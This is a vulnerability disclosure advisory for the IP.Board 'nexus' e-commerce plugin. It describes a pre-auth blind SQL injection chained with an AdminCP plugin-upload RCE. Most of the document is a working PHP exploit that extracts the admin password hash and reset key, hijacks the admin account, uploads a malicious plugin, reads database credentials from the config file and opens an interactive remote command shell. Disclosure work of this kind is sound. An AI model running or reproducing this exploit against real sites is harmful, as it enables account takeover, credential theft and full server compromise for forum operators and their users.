SSD Advisory – IP.Board ‘nexus’ RCE and Blind SQLi

Summary

IP.Board e-commerce plugin ‘nexus’ contains two security vulnerabilities that when combined can be used to trigger a pre-auth RCE in AdminCP.

Credit

An independent security researcher, Egidio Romano from Karma(In)Security, working with SSD Secure Disclosure.

Vendor Response

The vendor has released a new version of IP.Board with appropriate fixes: https://invisioncommunity.com/release-notes/4716-r128/

Affected Versions

IP.Board version 4.7.15 and prior with ‘nexus’ plugin enabled

CVE

  • CVE-2024-30162 for the Remote Code Execution
  • CVE-2024-30163 for the Blind SQL Injection

Technical Analysis

Blind SQL Injection

The vulnerable code is located in the /applications/nexus/modules/front/store/store.php script

Specifically, in the IPS\nexus\modules\front\store_store::_categoryView() method:

    /* Apply Filters */
    if ( isset( \IPS\Request::i()->filter ) and \is_array( \IPS\Request::i()->filter ) )
    {
        $url = $url->setQueryString( 'filter', \IPS\Request::i()->filter );
        foreach ( \IPS\Request::i()->filter as $filterId => $allowedValues )
        {
            $where[] = array( \IPS\Db::i()->findInSet( "filter{$filterId}.pfm_values", array_map( 'intval', explode( ',', $allowedValues ) ) ) );
            $joins[] = array( 'table' => array( 'nexus_package_filters_map', "filter{$filterId}" ), 'on' => array( "filter{$filterId}.pfm_package=p_id AND filter{$filterId}.pfm_filter=?", $filterId ) );
        }
    }

User input is passed through the filter request parameter is not properly sanitised before being assigned to the $where variable. This can be exploited by unauthenticated attackers to carry out Blind SQL Injection attacks.

Remote Code Execution

The vulnerable code is located in the /applications/core/modules/admin/editor/toolbar.php script.

Specifically, in the IPS\core\modules\admin\editor_toolbar::addPlugin() method.

This method handles uploaded zip files which will be extracted into the /applications/core/interface/ckeditor/ckeditor/plugins/ directory without verifying their content.

This can be exploited by admin users having the toolbar_manage permission to write arbitrary PHP files into the aforementioned directory, leading to execution of arbitrary PHP code under the context of the web server user.

Proof of Concept

After installing Invision Community with the “nexus” application, do the following:

  • Login into the AdminCP
  • Go to “Commerce” -> “Store” -> “Products”
  • Create a new “Product Group”

NOTE: To prevent “easy” exploitation we have discarded a file (rce.zip) needed by the exploit

<?php

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) {
    die("[-] cURL extension required!\n");
}

if ($argc != 2) {
    die("\nUsage: php $argv[0] <URL>\n\n");
}

$url = $argv[1];
$ch = curl_init();

curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1:8080");
curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/store/");

function sql_injection($sql)
{
    global $ch, $content_length, $url;

    $min = true;
    $idx = 1;

    while (1) {
        $test = 256;

        for ($i = 7; $i >= 0; $i--) {
            $test = $min ? $test - pow(2, $i) : $test + pow(2, $i);
            $injection = "` ON 1 UNION SELECT 1 RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,0x31)) OR ?=?#";
            curl_setopt(
                $ch,
                CURLOPT_POSTFIELDS,
                sprintf("cat=1&filter[%s]=1", rawurlencode($injection))
            );
            if (!preg_match("/Content-Length: (\d+)/i", curl_exec($ch), $c)) {
                die("\n[-] Content-Length not found!\n");
            }
            $min = $content_length === $c[1];
        }

        if (($chr = $min ? $test - 1 : $test) == 0) {
            break;
        }
        $data .= chr($chr);
        $min = true;
        $idx++;
        print "\r[*] Data: {$data}";
    }

    return $data;
}

print "[+] Step 0: calculating Content-Length difference\n";

$injection = "` ON 1 UNION SELECT 1 RLIKE(IF(1=1,0x28,0x31)) OR ?=?#";
curl_setopt(
    $ch,
    CURLOPT_POSTFIELDS,
    sprintf("cat=1&filter[%s]=1", rawurlencode($injection))
);

if (!preg_match("/Content-Length: (\d+)/i", curl_exec($ch), $c1)) {
    die("[-] Content-Length not found!\n");
}

$injection = "` ON 1 UNION SELECT 1 RLIKE(IF(1=0,0x28,0x31)) OR ?=?#";
curl_setopt(
    $ch,
    CURLOPT_POSTFIELDS,
    sprintf("cat=1&filter[%s]=1", rawurlencode($injection))
);

if (!preg_match("/Content-Length: (\d+)/i", curl_exec($ch), $c2)) {
    die("[-] Content-Length not found!\n");
}

if ($c1[1] === $c2[1]) {
    die("[-] Content-Length is the same, exploit cannot work!\n");
} else {
    $content_length = $c1[1];
}

print "[+] Step 1: fetching admin's password hash\n";

$admin_pwd = sql_injection(
    "SELECT members_pass_hash FROM core_members WHERE member_id=1"
);

print "\n[+] Step 2: fetching admin's e-mail address\n";

$email = sql_injection("SELECT email FROM core_members WHERE member_id=1");

print "\n[+] Step 3: go to {$url}index.php?/lostpassword/ and request a password reset by using the above e-mail. When you're done press enter.";

fgets(STDIN);

print "[+] Step 4: fetching the password reset key\n";

$vid = sql_injection(
    "SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1"
);

print "\n[+] Step 5: taking over the admin account by resetting their password\n";

@unlink("./cookies.txt");

curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/lostpassword/");
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cookies.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cookies.txt");

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) {
    die("[-] CSRF token not found!\n");
}

$passwd = md5(time());
$params = "do=validate&vid={$vid}&mid=1&password={$passwd}&password_confirm={$passwd}&resetpass_submitted=1&csrfKey={$csrf[1]}";

curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) {
    die("[-] Attack failed!\n");
}

print "[+] Step 6: fetching AdminCP path\n";

curl_setopt($ch, CURLOPT_URL, "{$url}index.php");
curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/"admincp"><a href="([^"]+)"/i', curl_exec($ch), $acp)) {
    die("[-] AdminCP path not found!\n");
}

print "[+] Step 7: logging into AdminCP -> {$acp[1]}\n";

curl_setopt(
    $ch,
    CURLOPT_URL,
    "{$acp[1]}?app=core&module=system&controller=login"
);
curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) {
    die("[-] CSRF token not found!\n");
}

curl_setopt(
    $ch,
    CURLOPT_POSTFIELDS,
    "csrfKey={$csrf[1]}&auth=" .
        urlencode($email) .
        "&password={$passwd}&_processLogin=usernamepassword"
);

if (!preg_match("/303 See Other/i", curl_exec($ch))) {
    die("[-] Login failed!\n");
}

print "[+] Step 8: uploading malicious plugin zip file\n";

curl_setopt(
    $ch,
    CURLOPT_URL,
    "{$acp[1]}?app=core&module=editor&controller=toolbar&do=addPlugin"
);
curl_setopt($ch, CURLOPT_POST, false);

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) {
    die("[-] CSRF token not found!\n");
}

$plg = md5(time()) . ".zip";

$params = [
    "csrfKey" => $csrf[1],
    "form_submitted" => 1,
    "editor_plugin_zip_noscript[]" => new CURLFile("rce.zip", "", $plg),
];

curl_setopt($ch, CURLOPT_HTTPHEADER, ["Expect:"]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) {
    die("[-] Upload failed!\n");
}

print "[+] Step 9: restoring admin's password hash\n";

$phpcode =
    'include "../../../../../../../conf_global.php";
$link = mysqli_connect($INFO["sql_host"], $INFO["sql_user"], $INFO["sql_pass"], $INFO["sql_database"]);
mysqli_query($link, \'UPDATE core_members SET members_pass_hash = "' .
    $admin_pwd .
    '" WHERE member_id=1\');
mysqli_close($link);';

curl_setopt(
    $ch,
    CURLOPT_URL,
    "{$url}applications/core/interface/ckeditor/ckeditor/plugins/{$plg}/"
);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: " . base64_encode($phpcode)]);
curl_setopt($ch, CURLOPT_POST, false);

curl_exec($ch);

print "[+] Step 10: launching shell\n";

$phpcode = "print '____'; passthru(base64_decode('%s')); print '____';";

while (1) {
    print "\nics-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") {
        break;
    }
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        "C: " . base64_encode(sprintf($phpcode, base64_encode($cmd))),
    ]);
    preg_match("/____(.*)____/s", curl_exec($ch), $m)
        ? print $m[1]
        : die("\n[-] Exploit failed!\n");
}

?

Get in touch